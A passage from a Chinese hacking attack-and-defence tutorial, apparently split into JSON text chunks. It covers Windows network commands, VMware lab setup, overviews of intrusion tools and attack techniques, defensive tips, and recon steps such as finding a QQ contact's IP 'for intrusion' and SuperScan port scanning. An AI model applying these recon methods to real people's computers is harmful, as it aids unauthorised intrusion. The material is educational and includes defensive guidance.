    {"text": "需要注意的是：成功地与另一台主机进行一次或两次数据包交换并不表示TCP/IP配置就是正确的，本地主机与远程主机必须执行大量的数据包交换，才能确信TCP/IP的正确性。"},
    {"text": "STEP01：查看本机网卡是否正常运行 提示：认识CD命令 CD命令具有切换至指定位置的功能，如果想要切换至C盘根目录，只需输入CD\\后按【Enter】键即可； 若要切换至C盘分区中的Program Files文件夹下，则在切换至C盘根目录后再输入cd program files后按【Enter】键即可。 STEP02：查看计算机是否接入路由器 输入Ping 192.168.1.1后按【Enter】键，若显示“来自192.168.1.1的回复……”，说明已成功接入路由器，若显示“请求超时”则说明未接入路由器。 STEP03：查看计算机是否接入Internet 输入Ping www.baidu.com后按【Enter】键，若显示“来自61.135.169.105的回复……”，说明已成功接入Internet，若显示“请求超时”则说明未接入Internet。"},
    {"text": "3.nbtstat命令 nbtstat命令用于查看基于TCP/IP的NetBIOS协议统计资料、本地计算机和远程计算机的NetBIOS名称表和NetBIOS名称缓存。 该命令的格式为nbtstat[-a RemoteName][-a IPAddress][-c][-n][-r][-R][-RR][-s][-S][interval]，该命令所包含的参数含义如下： -a RemoteName：显示远程计算机的NetBIOS名称表，其中RemoteName是远程计算机的NetBIOS计算机名称。"},
    {"text": "-R：清除NetBIOS名称缓存的内容，并从Lmhosts文件中重新加载带有#PRE标记的项目。 -RR：释放并刷新通过WINS服务器注册的本地计算机的NetBIOS名称。"},
    {"text": "-s：显示NetBIOS客户端和服务器会话，并试图将目标IP地址转化为名称。 -S：显示NetBIOS客户端和服务器会话，只通过IP地址列出远程计算机。"},
    {"text": "下面介绍使用nbtstat命令查看目标计算机和当前计算机的NetBIOS名称。 STEP01：查看目标计算机NetBIOS名称 STEP02：查看当前计算机NetBIOS名称 4.netstat命令 netstat是一个用于监控TCP/IP网络的命令，利用该命令可以查看路由表、实际的网络连接以及每一个网络接口设备的状态信息。"},
    {"text": "netstat命令的格式为netstat[-a][-b][-e][-n][-o][-p proto][-r][-s][-v][interval]，该命令所包含的参数含义如下。"},
    {"text": "以太网是由Xeros公司开发的一种基带局域网技术，使用同轴电缆作为网络媒体，采用载波多路访问和碰撞检测（CSMA/CD）机制，数据传输速率达到10Mbps。"},
    {"text": "STEP01：查看当前计算机的端口信息 输入netstat-a后按【Enter】键，便可查看当前计算机的端口信息，还可以查看各端口的不同状态。 STEP02：查看以太网统计的数据 输入netstat-e后按【Enter】键，便可查看以太网统计的当前电脑接收和发送的数据。 提示：认识端口状态的不同含义 利用netstat-a命令不仅可以查看当前计算机开放的端口，而且还可以查看这些端口当前的状态，主要包括LISTENING、TIME_WAIT、ESTABLISHED、CLOSE_WAIT，其中LISTENING表示这些端口处于开放状态；"},
    {"text": "5.IPCONFIG命令 IPCONFIG命令可用于查看当前计算机的TCP/IP配置的设置值，这些信息一般用来检验用户手动配置的TCP/IP设置是否正确。 当用户的计算机通过路由器接入Internet时，则路由器将会自动为当前计算机设置TCP/IP配置，此时利用IPCONFIG便可查看自己的计算机是否成功租用到一个IP地址。 如果成功租用，同时还可以查看到当前计算机的IP地址、子网掩码以及默认网关等信息。"},
    {"text": "IPCONFIG命令最常用的方式主要有两种，即IPCONFIG和IPCONFIG/all。 当IPCONFIG命令后面不带参数时，可用于查看当前计算机的TCP/IP简单信息； 如果使用IPCONFIG/all命令，则可以用于查看当前计算机的完整TCP/IP配置信息以及对应的MAC地址。 STEP01：查看TCP/IP简单配置信息 输入IPCONFIG后按【Enter】键，便可查看当前计算机的IPv4、IPv6地址、子网掩码以及默认网关等信息。 STEP02：查看TCP/IP完整配置信息 输入IPCONFIG/all后按【Enter】键，便可查看当前计算机的IP地址、子网掩码、DNS后缀和DHCP等信息。 提示：子网掩码与默认网关 子网掩码又叫网络掩码、地址掩码，它只有一个作用，就是将某个IP地址划分成网络地址和主机地址两部分。"},
    {"text": "默认网关是IP路由表中的默认IP地址，如果当前计算机发出数据包后，路由器无法找到接收该数据包的IP地址，则会将该数据包发给默认网关，由默认网关来处理数据包。"},
    {"text": "1.5.3 NET命令 1.5.3 NET命令 NET命令是一种基于网络的命令，该命令的功能很强大，可以管理网络环境、服务、用户和登录等本地以及远程信息。 常见的NET命令主要有NET VIEW、NET USER、NET USE、NET TIME、NET SHARE和NET SEND。 1.NET VIEW命令 NET VIEW命令用于显示域列表、计算机列表或指定计算机的共享资源列表。 其命令格式为：NET VIEW[\\\\ComputerName][/domain[：DomainName]]，所包含的参数含义如下。 [\\\\ComputerName]：指定要查看其共享资源的计算机。 [/domain[：DomainName]]：指定要查看其可用计算机的域。 当输入不带参数的NET VIEW命令时，则可以用于查看当前域中的所有计算机名称。 STEP01：查看当前域中的所有计算机 输入NET VIEW后按【Enter】键，即可看见当前域中所有计算机的名称。 提示：服务器名称与注释 利用NET VIEW命令查看计算机时，服务器名称和注释就是计算机名和描述信息，它们都显示在“系统”窗口中。"},
    {"text": "STEP02：查看指定计算机的共享资源 输入NET VIEW\\\\192.168.1.103后按【Enter】键，即可查看IP地址为192.168.1.103的计算机中的共享资源。 提示：使用计算机名替代IP地址 在输入NET VIEW[\\\\ComputerName]命令时，[\\\\ComputerName]既可以用IP地址替换，又可以使用计算机名替换。"},
    {"text": "2.NET USE命令 NET USE命令可用于建立与断开计算机与共享资源的连接。 其命令格式为：NET USE[devicename|*][\\\\computername\\sharename[\\volume][password|*]][/USER：[domainname\\]username][[/DELETE]|[/PERSISTENT：{YES|NO}]]，所包含的参数含义如下。"},
    {"text": "\\sharename：指共享资源的计算机所在工作组或域的名字。 \\volume：指定共享资源的计算机中该共享资源所在的驱动器盘符。 password：指访问共享资源所需要的密码。"},
    {"text": "YES表示建立连接时保存该设置，并在下次登录时默认恢复该连接； NO表示不保存已建立或者后面将要建立的连接，现有的连接将在下次登录时自动恢复。"},
    {"text": "输入NET USE后按【Enter】键，即可查看当前计算机是否建立了共享资源连接以及该连接的当前状态。 提示：无法完全显示共享资源的名称 利用NET USE查看共享资源时，如果共享资源的名称过长，则将无法在命令提示符窗口中完全显示。"},
    {"text": "3.NET USER命令 NET USER命令用于创建和修改计算机上的用户账户，该命令也可以写成NET USER，其命令格式为NET USER[username[password|*][options]][/DOMAIN]username{password|*}/AD D[options][/DOMAIN]username[/DELETE][/DOMAIN]，各参数的含义如下。"},
    {"text": "STEP01：单击“所有程序”命令 STEP02：以管理员身份运行指定程序 提示：“命令提示符”命令位于“附件”文件夹中 命令提示符是Windows 7操作系统自带的一款工具，在“开始”菜单中单击“所有程序”命令后，还需在左侧单击“附件”命令才能看见“命令提示符”命令。"},
    {"text": "STEP03：查看计算机中所有用户账户 STEP04：添加用户账户 STEP05：单击“用户账户”选项 STEP06：管理其他用户账户 STEP07：查看添加的账户 STEP08：删除指定的用户账户 4.NET TIME命令 NET TIME命令可以让当前计算机的时钟与另一台计算机或域的时间同步。"},
    {"text": "\\\\ComputerName：指定要检查或要与之同步的服务器的名称。 /domain[：DomainName]：指定要同步时钟的域的名称。 /rtsdomain[：DomainName]：指定要与之同步时钟的“可信时间服务器”所在域的名称。 /set：使计算机的时钟与指定的计算机或域的时间同步。 如果使用NET TIME命令时不输入/set，则只能显示目标计算机或域的时间，无法进行同步操作。"},
    {"text": "STEP01：查看本地计算机的共享资源 STEP02：设置共享指定驱动盘符 STEP03：取消共享C盘 提示：启用Server服务共享所有分区 若要快速启动所有分区的IPC$共享，则可启用系统中的Server服务。"},
    {"text": "第2章 黑客攻防前的准备工作 第2章 黑客攻防前的准备工作 人们做任何事情都要做好充足的准备，黑客也不例外，黑客在入侵Internet中其他电脑之前，需要做一系列的准备工作，包括在电脑中安装虚拟机、准备常用的工具软件以及掌握常用的攻击方法。 知识要点 ·在VMware中新建虚拟机 ·在VMware中安装操作系统 ·网络嗅探工具 ·远程控制工具 ·认识黑客常用的入侵方法 第2章 黑客攻防前的准备工作 2.1 在计算机中搭建虚拟环境 无论是攻击还是训练，黑客都不会拿实体计算机来尝试，而是在实体计算机中搭建虚拟环境，即安装虚拟机。在虚拟机中黑客可以直观地进行各种攻击测试，并且完成大部分的入侵学习，包括制作病毒、木马和实现远程控制等。 2.1.1 认识虚拟机 虚拟机指通过软件模拟的、具有完整硬件系统功能的、运行在一个完全隔离环境中的计算机系统，在实体机上能够完成的工作都能在虚拟机中实现。正因如此，虚拟机被越来越多的人所使用。 在计算机中新建虚拟机时，需要将实体机的部分硬盘和内存容量作为虚拟机的硬盘与内存容量。每个虚拟机都拥有独立的CMOS、硬盘和操作系统，用户可以像使用实体机一样对虚拟机进行分区和格式化硬盘、安装操作系统和应用软件等。 提示：Java虚拟机 Java虚拟机是一个想象中的机器，它一般在实际的计算机上通过软件模拟来实现。Java虚拟机有自己想象中的硬件，如处理器、堆栈、寄存器等，还具有相应的指令系统。Java虚拟机主要用来运行利用Java编辑的程序，由于Java语言具有跨平台的特点，因此Java虚拟机也可以在多平台中直接运行使用Java语言编辑的程序，而无需修改。Java虚拟机与Java的关系就类似于Flash播放器与Flash的关系。 可能有用户会认为虚拟机只是模拟计算机，最多也只是能够完成和实体机一样的操作，因此它没有太大的实际意义。其实不然，虚拟机最大的优势就是虚拟，即使虚拟机中的系统崩溃或者无法运行都不会影响实体机的运行。并且它还可以用来测试最新版本的应用软件或者操作系统，即使安装带有病毒木马的应用软件都无大碍，因为虚拟机和实体机是完全隔离的，虚拟机不会泄漏实体机中的数据。 2.1.2 在VMware中新建虚拟机 2.1.2 在VMware中新建虚拟机 VMware是一款比较著名且功能强大的虚拟机软件，它使得用户可以在同一台物理机上同时运行两个或者多个Windows、Linux系统。与“多启动”系统相比，VMware采用了完全不同的概念，物理机的多操作系统在同一个时刻只能运行其中某一个系统，切换系统需要重启电脑，而VMware则不一样，它在同一时刻可以运行多个操作系统，从而避免了重启系统的麻烦。 VMware的安装程序可以在一些常见的资源提供网站中下载，如http://www.skycn.＆nbsp;com/soft/5535.html。下载VMware安装程序后便可进行解压和安装操作，安装成功后会在桌面上显示对应的快捷图标。下面就介绍在VMware中新建虚拟机的操作步骤。 STEP01：启动VMware Workstation STEP02：选择新建虚拟机 STEP03：选择配置类型 STEP04：选择以后再安装操作系统 STEP05：选择客户机操作系统 STEP06：设置虚拟机名称及安装位置 STEP07：指定虚拟机磁盘容量 STEP08：单击“完成”按钮 2.1.3 在VMware中安装操作系统 2.1.3 在VMware中安装操作系统 新建虚拟机之后，用户还需准备Windows 7的镜像文件，然后将其添加到VMware中的虚拟光驱中便可开始安装操作系统。在安装之前，如果不满意程序默认的内存容量设置，则可以手动设置。 STEP01：选择设置内存 STEP02：设置虚拟系统内存大小 提示：调整内存大小 用户在设置虚拟系统内存大小时，不仅可以在对话框右侧拖动滑块进行调整，而且还可以在“该虚拟机内存”右侧的文本框中直接输入内存大小。设置虚拟系统的内存大小要根据物理计算机的内存来决定，如果物理计算机的内存大小为1GB，则可以设置虚拟系统内存大小为512MB；如果物理计算机的内存大小为2GB，则可以设置虚拟系统内存大小为512MB或者1GB。 STEP03：选择设置CD/DVD STEP04：选择添加ISO镜像文件 STEP05：选择ISO镜像文件 STEP06：确认所选的镜像文件 STEP07：开启虚拟机电源 STEP08：正在启动虚拟系统 此时在界面中可看见VMware正在启动，请耐心等待。 STEP09：设置安装语言 STEP10：现在开始安装 STEP11：接受许可条款 STEP12：安装成功 按照向导一步步操作，当界面中显示Windows 7桌面时，即操作系统安装成功。 提示：系统分区的容量设置 Windows 7操作系统的安装比较简单，只需按照界面中的提示一步步操作即可完成。在安装的过程中，需要注意应当合理地为安装Windows 7操作系统的分区设置容量。据笔者所知，安装Windows 7操作系统的分区容量大小不得低于14GB，否则便会提示无法正常安装。因此建议用户在设置分区容量时保证安装系统的分区容量在14～20GB范围内。"},
    {"text": "2.1.4 安装VMwareTools 2.1.4 安装VMwareTools VMware Tools是VMware虚拟机中自带的一种工具，它能够增强虚拟显卡和硬盘性能，以及同步虚拟机与主机时钟的驱动程序。只有在VMware虚拟机中安装好了VMware Tools，才能实现主机与虚拟机之间的文件共享，同时可支持自由拖拽的功能，鼠标也可在虚拟机与主机之间自由移动（不需要按【Ctrl+Alt】组合键），且虚拟机屏幕也可实现全屏化。 STEP01：选择安装VMware Tools 在VMware主程序界面中单击“虚拟机”＞“安装VMware Tools”命令。 STEP02：运行setup文件 STEP03：单击“是”按钮 STEP04：正在准备安装 弹出对话框，提示用户正在准备安装VMware Tools。 STEP05：单击“下一步”按钮 STEP06：选择典型安装 提示：利用Windows.iso文件安装VMware Tools 若使用“安装VMware Tools”命令无法安装VMware Tools，则可以通过加载VMware安装文件夹下的Windows.iso文件来安装VMware Tools。 STEP07：单击“安装”按钮 STEP08：正在安装VMware Tools STEP09：完成安装 STEP10：重新启动计算机 2.2 认识黑客常用的入侵工具 2.2 认识黑客常用的入侵工具 黑客若想攻击目标计算机，仅靠DOS命令是无法完成的，还需要一些功能强大的入侵工具，例如端口扫描工具、网络嗅探工具、木马制作工具以及远程控制工具等。本节将简单介绍黑客常用的入侵工具。 2.2.1 端口扫描工具 端口扫描工具拥有扫描端口的功能，所谓端口扫描是指黑客通过发送一组端口扫描信息，了解目标计算机所开放的端口，这些端口对于黑客来说就是入侵通道，黑客一旦了解了这些端口，就可以入侵目标计算机。 除了具有扫描计算机所开放端口的功能之外，端口扫描工具还具有自动检测远程或目标计算机安全性弱点的功能，使用端口扫描工具，用户可以不留痕迹地发现目标计算机中各种TCP端口的分配以及提供的服务，从而让用户间接或直接地了解目标计算机所存在的安全问题。黑客常用的端口扫描工具有SuperScan和X-Scan两种。 2.2.2 数据嗅探工具 2.2.2 数据嗅探工具 嗅探工具是指能够嗅探局域网中数据包的工具。所谓嗅探就是窃听局域网中流经的所有数据包。通过窃听并分析这些数据包，从而偷窥局域网中他人的隐私信息。嗅探工具只能在局域网中才能使用，无法在Internet中直接嗅探目标计算机。黑客常用的数据嗅探工具有Sniffer Pro和艾菲尔网页侦探两种。 2.2.3 木马制作工具 2.2.3 木马制作工具 顾名思义，木马制作工具是用于制作木马的工具。由于木马具有盗取目标计算机的个人隐私信息的功能，因此不少初级黑客喜欢使用木马制作工具直接制作木马。木马制作工具的工作原理基本相同，首先利用该工具配置木马服务端程序，一旦目标计算机运行了该木马服务端程序，黑客便可使用木马工具完全控制中了木马的目标计算机。 木马制作工具的操作十分简单，而且工作原理基本相同，因此受到不少初级黑客的青睐。黑客常使用的木马制作工具有“冰河”木马和捆绑木马两种。 2.2.4 远程控制工具 2.2.4 远程控制工具 远程控制工具是指具有远程控制功能的工具，这些工具能够远程控制目标计算机，虽然控制方法不一（有些远程控制工具是通过植入服务端程序实现远程控制，有些远程控制工具用于直接控制局域网中的所有计算机），但是一旦黑客使用远程控制工具控制了目标计算机，则黑客就像坐在目标计算机面前操作一样。黑客常用的远程控制工具有网络执法官和远程控制任我行两种。 2.3 认识黑客常用的入侵方法 2.3 认识黑客常用的入侵方法 在Interent中，为了防止黑客入侵自己的计算机，就必须了解黑客入侵目标计算机的常用方法。黑客常用的入侵方法有数据驱动攻击、系统文件非法利用、伪造信息攻击以及远端操纵等，下面就简单介绍这些入侵方法。 2.3.1 数据驱动攻击 数据驱动攻击是指黑客向目标计算机发送或复制的表面上看来无害的特殊程序被执行时所发起的攻击。该攻击可以让黑客在目标计算机上修改与网络安全有关的文件，从而使黑客在下一次更容易入侵该目标计算机。数据驱动攻击主要包括缓冲区溢出攻击、格式化字符串攻击、输入验证攻击、同步漏洞攻击、信任漏洞攻击等。 2.3.2 伪造信息攻击 2.3.2 伪造信息攻击 伪造信息攻击是指黑客通过发送伪造的路由信息，构造源计算机和目标计算机之间的虚假路径，从而使流向目标计算机的数据包均经过黑客所操作的计算机，从而获取这些数据包中的银行账户密码等个人敏感信息。 2.3.3 针对信息协议弱点攻击 2.3.3 针对信息协议弱点攻击 在局域网中，IP地址的源路径选项允许IP数据包自己选择一条通往目标计算机的路径。当黑客试图连接位于防火墙后面的一台不可达到的计算机A时，他只需要在送出的请求报文中设置IP地址源路径选项，使得报文的某一个目的地址指向防火墙，但是最终地址却指向计算机A。当报文到达防火墙时被允许通过，因为它指向的是防火墙而不是计算机A。防火墙的IP层处理该报文的源路径被改变，并发送到内部网上，报文就这样到达了不可到达的计算机A，从而实现了针对信息协议弱点攻击。"},
    {"text": "2.3.4 远端操纵 2.3.4 远端操纵 远端操纵是指黑客在目标计算机中启动一个可执行程序，该程序将会显示一个伪造的登录界面，当用户在该界面中输入账户、密码等登录信息后，程序将用户输入的账户、密码传送到黑客的计算机中。同时程序关闭登录界面，提示“系统出现故障”信息，要求用户重新登录。这种攻击类似于在Internet中经常遇到的钓鱼网站。 2.3.5 利用系统管理员失误攻击 2.3.5 利用系统管理员失误攻击 在局域网中，人是局域网安全最重要的因素之一，当系统管理员出现WWW服务器系统的配置差错、普通用户使用户权限扩大等失误时，这些失误便可为黑客提供可乘之机。黑客利用这些失误，再加上掌握的finger、netstat等命令，从而实现入侵攻击。 2.3.6 重新发送攻击 2.3.6 重新发送攻击 重新发送攻击是指黑客收集特定的IP数据包篡改其数据，然后再将这些IP数据包一一重新发送，从而欺骗接收数据的目标计算机，实现该攻击。 2.3.7 ICMP报文攻击 2.3.7 ICMP报文攻击 在局域网中，重定向消息可以改变路由器的路由列表，路由器可以根据这些消息建议计算机采取另一条更好的路径传播数据。而ICMP报文攻击是指黑客可以有效地利用重定向消息，把连接转向一个不可靠的计算机或路径，或者使所有报文通过一个不可靠的计算机来转发，从而实现攻击。 2.3.8 针对源路径选择的弱点攻击 2.3.8 针对源路径选择的弱点攻击 针对源路径选择的弱点攻击是指黑客通过操作一台位于局域网外部的计算机，向局域网中传送一个具有内部计算机地址的源路径报文。由于路由器会相信这个报文，因此会发送回答报文至位于局域网外部的计算机，因为这是IP的源路径选项要求。对付这种攻击的防御方法是适当地配置路由器，让路由器抛弃那些由局域网外部传送进来却声称是内部计算机传来的报文。 2.3.9 以太网广播法 2.3.9 以太网广播法 以太网广播法攻击模式是指将计算机网卡接口设置为乱模式（promiscuous），从而实现截取局域网中的所有数据包，分析数据包中保存的账户和密码，从而窃取信息的目的。 2.3.10 跳跃式攻击 2.3.10 跳跃式攻击 在Internet中，许多网站的服务器或巨型计算机使用UNIX操作系统。黑客会设法先登录其中一台装有UNIX的计算机，通过该操作系统的漏洞来取得系统特权，然后再以此为据点访问并入侵其余计算机，这被称为跳跃（Island-hopping）。 黑客在攻击最终目的计算机之前往往会这样跳几次。例如一位在美国的黑客在进入美国联邦调查局的网络之前，可能会先登录到亚洲的一台计算机，再从那里登录到加拿大的一台计算机，然后再跳到欧洲，最后从法国的一台计算机向美国联邦调查局网络发起攻击。这样一来，被攻击的计算机即使发现了黑客是从何处向自己发起了攻击的，管理人员也很难顺藤摸瓜找到黑客。更何况黑客一旦取得某台计算机的系统特权，可以在退出时删掉系统日志，把“藤”割断。 2.3.11 窃取TCP协议连接 2.3.11 窃取TCP协议连接 在几乎所有由UNIX实现的协议族中，存在着一个广为人知的漏洞，这个漏洞使得窃取TCP连接成为可能。当TCP连接正在建立时，服务器用一个含有初始序列号的应答报文来确认用户请求。这个序列号无特殊要求，只要是唯一的就可以了。客户端收到回答后，再对其确认一次，连接便建立了。TCP协议规范要求每秒更换序列号25万次，但大多数的UNIX系统实际更换频率远小于此数量，而且下一次更换的数字往往是可以预知的，而黑客正是有这种可预知服务器初始序列号的能力，使得入侵攻击可以完成。唯一可以防止这种攻击的方法是使初始序列号的产生更具有随机性，最安全的解决方法是用加密算法产生初始序列号，由此产生的额外的CPU运算负载对现在的硬件速度来说是可以忽略的。 2.3.12 夺取系统控制权 2.3.12 夺取系统控制权 在UNIX系统中，太多的文件只能由超级用户创建，而很少可以由某一类用户所创建，这使得系统管理员必须在root权限下进行操作，其实这种做法并不是很安全的。由于黑客攻击的首要对象就是root，其中最常受到攻击的目标是超级用户的密码。严格来说，UNIX下的用户密码是没有加密的，它只是作为DES算法加密一个常用字符串的密钥。现在出现了许多用来解密的软件工具，它们利用CPU的高速度穷尽式搜索密码。攻击一旦成功，黑客就会成为UNIX系统中的管理员。因此，应将系统中的用户权限进行划分，如设定邮件系统管理员管理，那么邮件系统邮件管理员可以在不具有超级用户特权的情况下很好地管理邮件系统，这会使系统安全很多。"},
    {"text": "2.4 掌握个人计算机安全的防护策略 2.4 掌握个人计算机安全的防护策略 了解了黑客常用的入侵方法之后，针对这些方法策划分别与之对应的防护策略是不太现实的，因此用户只能掌握个人计算机安全的常见防护策略，以确保计算机处在一个相对安全的环境中。常见的个人计算机防护策略有：安装并及时升级杀毒软件、启用防火墙、防范网络木马和病毒、切勿随意共享文件夹以及定期备份重要数据。 2.4.1 安装并及时升级杀毒软件 病毒的出现为Internet中的计算机造成了巨大的损失，这些病毒轻则导致系统无法正常运行，重则导致系统瘫痪、数据被格式化。为了防止这些病毒带来的危害，用户需要在计算机中安装杀毒软件，并开启实时监控功能。另外，由于病毒制作技术和手段的提高，导致新型病毒不断出现，因此用户还需要及时升级杀毒软件，使得杀毒软件能够防范Internet中新出现的病毒。 2.4.2 启用防火墙 2.4.2 启用防火墙 防火墙是指一种将计算机内部网络和外部网络分开的方法。实际上这是一种隔离技术。防火墙是在内部、外部两个网络通信时执行的一种访问控制尺度，它能允许用户许可的计算机的访问和特定的数据进入内部网络，在最大限度上阻止外部网络中的黑客访问和攻击自己的网络。 2.4.3 防止木马和病毒 2.4.3 防止木马和病毒 为了防范Internet中的木马和病毒入侵计算机，首先切勿下载来路不明的软件以及程序，选择信誉较好的下载网站来下载程序，然后将成功下载的软件以及程序集中放在除系统分区外的其他分区，而且在打开之前需要使用杀毒软件扫描下载的程序。 另外，不要打开来历不明的电子邮件及其附件，以免遭受邮件病毒或捆绑木马的入侵。即使下载邮件附带的附件，也需要使用杀毒软件进行扫描。 2.4.4 警惕“网络钓鱼” 2.4.4 警惕“网络钓鱼” 在Internet中，一些黑客利用“网络钓鱼”手法进行诈骗，例如建立假冒网站或者发送含有欺诈信息的电子邮件，从而盗取网上银行、网上支付工具、信用卡的账户和密码，进而窃取账户中的资金。为了防范网络钓鱼，用户在计算机中一定要确定自己所输入隐私信息的网址是真正的网址，而不是钓鱼网站，切勿随意输入。 2.4.5 切勿随意共享文件夹 2.4.5 切勿随意共享文件夹 在局域网中，当用户在共享文件的同时就会有软件漏洞，而这些漏洞又会被黑客所探知。因此用户在设置共享文件夹时，一定要设置访问密码。一旦不需要共享时应立即取消共享。除此之外，用户在设置共享文件夹时，一定要将共享的文件夹设为只读，并且切勿将整个磁盘分区设定为共享。 2.4.6 定期备份重要数据 2.4.6 定期备份重要数据 数据备份的重要性毋庸置疑，无论计算机的防范措施制作得多么严密，也无法完全防止出乎意料的情况发生。如果遭到黑客致命的攻击，虽然操作系统和应用软件可以重装，而重要的数据却无法重装，只有依靠日常的备份工作。因此即使采取了非常严密的防范措施，也不要忘了随时备份自己的重要数据，做到有备无患。 第3章 扫描与嗅探攻防 第3章 扫描与嗅探攻防 黑客若要发起入侵攻击，他需要做好充足的准备工作，首先通过嗅探和扫描等操作来搜索信息，从而确定目标计算机，以便于准确发动攻击。嗅探和扫描操作可以利用专业的软件工具来实现，例如X-Scan、SnifferPro等。对于用户而言，不仅需要了解黑客扫描和嗅探的原理和操作，而且还需要了解防范扫描和嗅探的操作方法。 知识要点 ·搜集目标计算机的重要信息 ·使用SuperScan扫描计算机端口 ·使用X-Scan扫描计算机端口 ·使用Sniffer Pro捕获网络数据 ·防范端口扫描与嗅探"},
    {"text": "第3章 扫描与嗅探攻防 3.1 搜集目标计算机的重要信息 搜索目标主机信息是黑客入侵前必须做的准备工作，而该准备工作则需要花费大量的时间。搜索目标主机信息包括获取目标主机的IP地址、查看目标主机的地理位置等信息，除此之外，黑客还可以通过了解网站的备案信息来进行入侵网站的准备工作。 3.1.1 获取目标计算机的IP地址 获取目标计算机的IP地址包括3种，第一种是获取局域网中其他计算机的IP地址，第二种是获取Internet中其他计算机的IP地址，第三种则是获取指定网站的IP地址。其中获取局域网中目标计算机的IP地址则可以利用“Ping+计算机名”命令来获取，Ping命令的使用方法可参照1.5.2节。下面就来介绍一下如何获取Internet中其他计算机的IP地址和指定网站的IP地址。 1.获取Internet中其他计算机的IP地址 若要获取Internet中其他计算机的IP地址，首先需要与目标计算机建立通信，然后再利用NETSTAT-N命令查看目标计算机的IP地址。这里以腾讯QQ为例，介绍获取Internet中其他计算机IP地址的操作方法。 STEP01：输入QQ账号和密码 STEP02：选择通信的好友 STEP03：与对方通信交流 提示：对方必须在电脑上登录QQ 在使用QQ与对方通话时，最好选择使用电脑登录的QQ，尽量不要选择使用手机或平板电脑登录的QQ，以便于入侵攻击。 STEP04：输入cmd命令 STEP05：查看对方的IP地址 输入netstat-n后按【Enter】键，可查看ESTABLISHED状态对应的外部IP地址，该地址为目标主机的IP地址。 提示：利用端口查看目标主机的IP地址 当计算机中拥有多个处于ESTABLISHED状态的连接时，则需要学会利用端口查看目标主机的IP地址。由于QQ通信通常是采用80或者8080号端口进行通信，当“外部地址”一栏中显示80或者8080字样时，则该地址就是要查找的目标IP地址。 2.获取指定网站的IP地址 获取指定网站IP地址的方法比较简单，只需使用“Ping+网站网址”命令即可实现，但是在使用该命令之前，必须确保计算机已成功连接Internet。这里以EPUBHOME网站（www.epubhome.com）为例，介绍获取该网站IP地址的操作方法。 STEP01：输入cmd命令 STEP02：查看指定网站的IP地址 输入PING www.epubhome.com后按【Enter】键，则可看见该网站的IP地址：116.255.233.175。 3.1.2 根据IP地址查看地理位置 3.1.2 根据IP地址查看地理位置 Internet中所有计算机的IP地址都是全球统一分配的，因此可以通过其中某些计算机的外网IP地址来查看其对应的地理位置。Internet中有不少网站服务器收集了IP地址数据库，利用这些网站可以轻松查询指定IP地址对应的地理位置。 STEP01：输入外网IP地址 STEP02：查看其物理地址 提示：了解其他查看地址位置的网站 Internet中提供了大量通过输入IP地址查看其地址位置的网站，除了本节中介绍的http://www.ip.cn/网站之外，还有http://ip.chinaz.com/和http://www.ip138.com/两个网站。 3.1.3 了解网站备案信息 3.1.3 了解网站备案信息 在Internet中，任何一个网站在正式发布之前都需要向有关机构申请域名，申请到的域名信息将会保存在域名管理机构的数据库服务器中。并且域名信息常常是公开的，任何人都可以对其进行查询，这些信息统称为网站的备案信息。这些信息对于黑客来说就是有用的信息，利用这些信息可以了解该网站的相关情况，以确定入侵攻击的方式和入侵点。 STEP01：打开腾讯首页 STEP02：选择经营性网站备案信息 STEP03：查看网站备案信息 跳转至新的页面，此时可看见腾讯网站的基本情况和网站所有者情况。 提示：网站所有者情况 在腾讯网所有者情况中，除网站注册标号、注册号、名称和住所外，还包括注册资本、企业类型、经营范围和法定代表人姓名。 3.2 扫描目标计算机的端口 3.2 扫描目标计算机的端口 由于端口是当前计算机与外界的通道，因此黑客一旦锁定目标计算机，便会扫描该计算机中已开放的端口，从而得到更多有用的信息。扫描目标主机的端口通常采用一些特定的软件，例如SuperScan和X-Scan，它们都是比较有名的端口扫描软件。 3.2.1 认识端口扫描的原理 在扫描端口之前，用户有必要了解端口扫描的原理。简单地说，端口扫描的原理就是利用数据包来分析目标计算机的响应，从而得到目标计算机的端口开放信息和系统内存在的弱点信息。 端口扫描是指在本地计算机中向目标计算机所有的端口发送同一信息，然后根据返回的响应状态来判断目标计算机中哪些端口已打开、哪些端口可以被使用。 目前最常见的是利用扫描软件来扫描端口，这些软件通常又被称为“端口扫描器”。端口扫描器向目标计算机的TCP/IP服务端口发送探测数据包，同时记下目标计算机的响应情况，从而收集到大量关于目标计算机的各种有用信息，包括是否有端口处于监听功能、是否允许匿名登录、是否有可写的FTP目录以及是否能用Telnet等。"},
    {"text": "3.2.2 使用SuperScan扫描计算机端口 3.2.2 使用SuperScan扫描计算机端口 SuperScan是由Foundstone开发的一款免费的端口扫描软件，该软件的功能十分强大，与许多同类软件相比，该软件既是一款入侵软件，又是一款网络安全软件。利用该软件可以随意地扫描指定端口，并且附带有简单的端口信息说明。 使用SuperScan扫描计算机端口可以分为两种情况，第一种是扫描指定IP地址范围内计算机的端口，第二种是扫描目标计算机的端口信息。 1.扫描指定IP地址范围内的计算机端口 当用户扫描端口没有特定目的，只为了解目标计算机的一些情况时，可以选择扫描指定IP地址范围内计算机的端口。选择该方式扫描端口会对计算机造成一定的影响，从而引起对方的警觉。 STEP01：以管理员身份运行SuperScan STEP02：添加IP地址范围 STEP03：开始扫描 STEP04：查看扫描的结果 STEP05：查看计算机端口信息 提示：关闭防火墙 若要确保SuperScan正常运行，用户需要在使用该软件之前关闭防火墙。 2.扫描目标计算机端口 黑客一般喜欢通过使用扫描目标计算机端口的方式来了解目标计算机中开放的端口，通过这种扫描方式可以获取更多的端口信息，以便于选择入侵的方式。SuperScan提供了扫描目标计算机的功能，需要注意：扫描目标计算机端口前需调整主机和服务器扫描设置。 STEP01：添加地址屏蔽请求 STEP02：TCP/UDP端口扫描设置 提示：查找目标计算机的4种方式 在Host and Service Discovery选项卡中，SuperScan提供了4种查找目标计算机（Host Discovery）的方式，分别是Echo Request（重复请求）、Timestamp Request（时间戳请求）、Address Mask Request（地址屏蔽请求）和Information Request（消息请求）。需要注意的是：选择的方式越多，则扫描所花费的时间也就越多。 STEP03：添加目标计算机 STEP04：开始扫描 提示：定位目标计算机IP地址的两种方法 在SuperScan中定位计算机IP地址有两种方法：第一种是在Hostname/IP右侧输入IP地址后单击转到按钮，第二种是输入相同起始和结束IP地址后单击转到按钮。 STEP05：查看简单的扫描结果 STEP06：查看详细的扫描结果 提示：SuperScan的其他常用功能 SuperScan除了提供基本的端口扫描功能之外，还提供了主机名/IP地址互换、Ping命令等功能，利用这些功能可快速获取目标主机的相关信息和查看本地计算机是否与目标计算机相连。在SuperScan主界面中切换至Tools选项卡，输入目标计算机的IP地址，单击Hostname/IP 